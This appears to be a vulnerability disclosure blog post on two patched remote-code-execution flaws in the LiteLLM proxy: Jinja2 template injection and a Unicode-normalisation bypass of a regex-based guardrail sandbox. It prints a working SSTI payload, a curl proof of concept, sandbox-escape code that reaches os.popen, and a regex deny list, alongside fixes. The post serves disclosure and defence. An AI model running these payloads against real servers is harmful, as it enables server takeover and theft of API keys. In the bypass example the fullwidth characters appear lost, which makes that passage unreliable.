LiteLLM Security: SSTI RCE and Unicode Sandbox Bypass

RESEARCH LiteLLM Security Analysis Two High-Severity RCE Vulnerabilities CVE CVE-2026-42203 Jinja2 SSTI RCE CVE CVE-2026-XXXXX Unicode Sandbox Bypass 7.2 CVSS High Remote code execution v1.83.7 Patched Version Fixed in stable release LiteLLM v1.82.2 Template Engine Code Guardrails AI Infrastructure Security Assessment fortbridge.co.uk

Executive Summary

During our security assessment of LiteLLM v1.82.2, a popular Python-based LLM proxy server, we discovered two high-severity remote code execution vulnerabilities that allow authenticated administrators to execute arbitrary commands on the server. Both vulnerabilities demonstrate how modern LLM infrastructure can introduce novel attack surfaces that require careful security consideration.

🔴 High-Severity Findings Summary:

    • CVE-2026-42203 – Jinja2 Server-Side Template Injection (SSTI) RCE via /prompts/test
    • CVE-2026-XXXXX – Custom Code Guardrail Sandbox Bypass via Unicode NFKC Normalization
    • Authentication Required: PROXY_ADMIN role (master key or admin API key)
    • Impact: Full remote code execution as LiteLLM process user

Background: LiteLLM Attack Surface

LiteLLM serves as a proxy layer between applications and various LLM providers (OpenAI, Anthropic, etc.), offering features like:

  • Unified API interface across 100+ LLM providers
  • API key management and cost tracking
  • Custom prompt templates and testing capabilities
  • Content guardrails and custom Python code execution
  • Admin web UI for configuration management

The prompt management and guardrail testing features, designed to help administrators validate configurations, introduced the vulnerabilities we discovered.

Vulnerability #1: Jinja2 SSTI RCE

Root Cause Analysis

The POST /prompts/test endpoint allows administrators to test prompt templates before deployment. The implementation renders user-supplied content through the Jinja2 templating engine without proper sandboxing.

Vulnerable Code Location: integrations/dotprompt/prompt_manager.py:62

prompt_manager = PromptManager()
rendered_content = prompt_manager.jinja_env.from_string(
    template_content
).render(**variables)

The critical flaw is that jinja_env is created using jinja2.Environment() instead of jinja2.sandbox.SandboxedEnvironment(). This allows access to Python’s object model and system functions through template expressions.

Exploitation Technique

Template injection payloads can access Python’s built-in objects and execute system commands:

{{ cycler.__init__.__globals__["os"].popen("id").read() }}

The attack chain works as follows:

  1. cycler – Access Jinja2’s built-in cycler class
  2. __init__.__globals__ – Access the global namespace of the cycler’s constructor
  3. ["os"] – Retrieve the imported os module
  4. .popen("id").read() – Execute arbitrary system commands

Key Observation: Commands execute server-side even though the HTTP response is 400 “No messages found in rendered prompt”. Template rendering occurs before the model validation that causes the error.

Proof of Concept

The exploit sends a malicious dotprompt template to the test endpoint:

curl -X POST http://target:4000/prompts/test \
  -H "Authorization: Bearer [ADMIN_KEY]" \
  -H "Content-Type: application/json" \
  -d '{
    "dotprompt_content": "---\nmodel: llama3.2\n---\n\n{{ cycler.__init__.__globals__[\"os\"].popen(\"id > /tmp/proof.txt\").read() }}",
    "prompt_variables": {}
  }'

Technical Evidence

The following screenshots demonstrate successful exploitation of the SSTI vulnerability:

Burp Suite proxy history showing HTTP POST request to LiteLLM /prompts/test endpoint with malicious template injection payload that triggers server-side code execution
Figure 1: Burp Suite proxy history showing the malicious SSTI payload sent to the /prompts/test endpoint
Burp Collaborator callback proving external network interaction from LiteLLM server due to successful SSTI payload execution in /prompts/test endpoint
Figure 2: Burp Collaborator callback confirming successful server-side template injection and code execution

Vulnerability #2: Unicode Sandbox Bypass

Root Cause Analysis

The custom code guardrail feature (POST /guardrails/test_custom_code) allows administrators to test Python security policies. The implementation attempts to sandbox user code by blocking dangerous patterns with regex matching:

# Simplified regex blocking dangerous patterns
blocked_patterns = [
    r'__class__', r'__subclasses__', r'__globals__',
    r'__init__', r'__bases__', r'eval', r'exec'
]

However, this approach has a fundamental flaw: Python 3 performs Unicode NFKC normalization on identifiers before compilation, but the regex validation occurs on the original string.

Unicode NFKC Normalization Attack

The key insight is that the fullwidth underscore character U+FF3F (_) normalizes to the regular underscore U+005F (_) under NFKC normalization. This means:

  • Regex sees: __class__ (doesn’t match __class__ pattern)
  • Python compiler sees: __class__ (after NFKC normalization)

Exploitation Chain

The exploit constructs a custom guardrail function that escapes the sandbox:

def apply_guardrail(inputs, request_data, input_type):
    obj = str()
    cls = obj.__class__  # U+FF3F bypasses regex
    bases = cls.__bases__
    obj_class = bases[0]
    subs = obj_class.__subclasses__()

    # Find a class with 'os' in globals (e.g., logging.LogRecord)
    for s in subs:
        try:
            g = s.__init__.__globals__
            if 'os' in g:
                os_mod = g['os']
                break
        except:
            pass

    # Execute arbitrary commands
    output = os_mod.popen("id").read()
    return dict(action='log', message=output)

This technique demonstrates the normalization happens after validation – where input validation and execution context interpret the same data differently.

Technical Evidence

The following screenshots demonstrate successful exploitation of the Unicode sandbox bypass vulnerability:

Burp Suite proxy history displaying HTTP request to LiteLLM /guardrails/test_custom_code endpoint with Python bytecode manipulation payload designed to bypass sandbox protections
Figure 3: Burp Suite proxy history showing the Unicode normalization bypass payload sent to the /guardrails/test_custom_code endpoint
Burp Collaborator callback confirming successful sandbox escape and remote code execution in LiteLLM /guardrails/test_custom_code endpoint
Figure 4: Burp Collaborator callback confirming successful sandbox bypass and remote code execution
Terminal output showing successful execution of uid command on LiteLLM server, demonstrating complete sandbox bypass and arbitrary code execution in /guardrails/test_custom_code endpoint
Figure 5: Terminal output showing successful execution of the ‘uid’ command, providing definitive proof of arbitrary code execution on the LiteLLM server

Note: The /guardrails/test_custom_code vulnerability was independently discovered by X41 Security in their advisory X41-2026-001. However, our research demonstrates a fundamentally different exploitation methodology using Unicode NFKC normalization rather than bytecode manipulation.

Impact Assessment

Attack Scenarios

  • Compromised Admin Accounts: Malicious insiders or compromised admin credentials
  • Supply Chain Attacks: Malicious prompt templates or guardrail configurations
  • Configuration Tampering: Attackers with admin access executing arbitrary code
  • Lateral Movement: From LiteLLM server to broader infrastructure

Business Risk

  • Full server compromise as LiteLLM process user
  • Access to API keys and sensitive configuration data
  • Potential pivot to connected LLM provider accounts
  • Data exfiltration from LLM request/response logs

Remediation and Mitigation

Immediate Actions

  1. Audit Admin Access: Review all accounts with PROXY_ADMIN role
  2. Enable Monitoring: Log all requests to /prompts/test and /guardrails/test_custom_code
  3. Network Segmentation: Restrict LiteLLM server network access
  4. Update LiteLLM: Monitor for security patches from the maintainers

Long-term Fixes

Template Injection SSTI Fix:

# Replace unsafe Environment with SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment

# In prompt_manager.py
self.jinja_env = SandboxedEnvironment(
    # Configure safe sandbox options
    undefined=jinja2.StrictUndefined,
    # Block dangerous attributes
)

Unicode Sandbox Fix:

# Use AST-based validation instead of regex
import ast

def validate_guardrail_code(code):
    try:
        tree = ast.parse(code)
        for node in ast.walk(tree):
            if isinstance(node, ast.Attribute):
                # Check actual attribute names after normalization
                if any(dangerous in node.attr for dangerous in
                       ['__class__', '__globals__', '__init__']):
                    raise ValueError(f"Dangerous attribute: {node.attr}")
    except SyntaxError:
        raise ValueError("Invalid Python syntax")

Defense in Depth

  • Principle of Least Privilege: Minimize admin accounts
  • Container Security: Run LiteLLM in restricted containers
  • Code Review: Security review of custom guardrail code
  • Runtime Monitoring: Detect unusual process execution

Timeline and Disclosure

  • March 14, 2026: Vulnerabilities discovered during security assessment
  • March 14, 2026: Proof-of-concept development and validation
  • March 15, 2026: Initial contact with LiteLLM maintainers
  • April 10, 2026: Duplicate marking noted for /guardrails/test_custom_code vulnerability
  • April 10, 2026: /prompts/test vulnerability confirmed as unique discovery
  • April 24, 2026: CVE-2026-42203 assigned for SSTI vulnerability
  • Status: Fixed in LiteLLM v1.83.7-stable – coordinated disclosure complete

Conclusion

These vulnerabilities highlight the security challenges inherent in LLM infrastructure components. The template injection SSTI vulnerability demonstrates classic template injection risks, while Unicode bypass showcases novel Unicode normalization attacks against Python sandboxes.

Key takeaways for the security community:

  • Template Engines: Always use sandboxed environments for user input
  • Unicode Security: Consider normalization effects in input validation
  • LLM Infrastructure: New attack surfaces require specialized security review
  • Defense in Depth: Multiple security layers are essential for admin functions

Organizations using LiteLLM should immediately audit their admin access controls and monitor for the IOCs described in this analysis.

About FORTBRIDGE Security Research

This research was conducted as part of FORTBRIDGE’s ongoing security assessment services. We specialize in identifying vulnerabilities in emerging AI and LLM infrastructure to help organizations secure their AI implementations.

Contact: For questions about this research or to discuss security assessments, reach out via our contact page.

About Post Author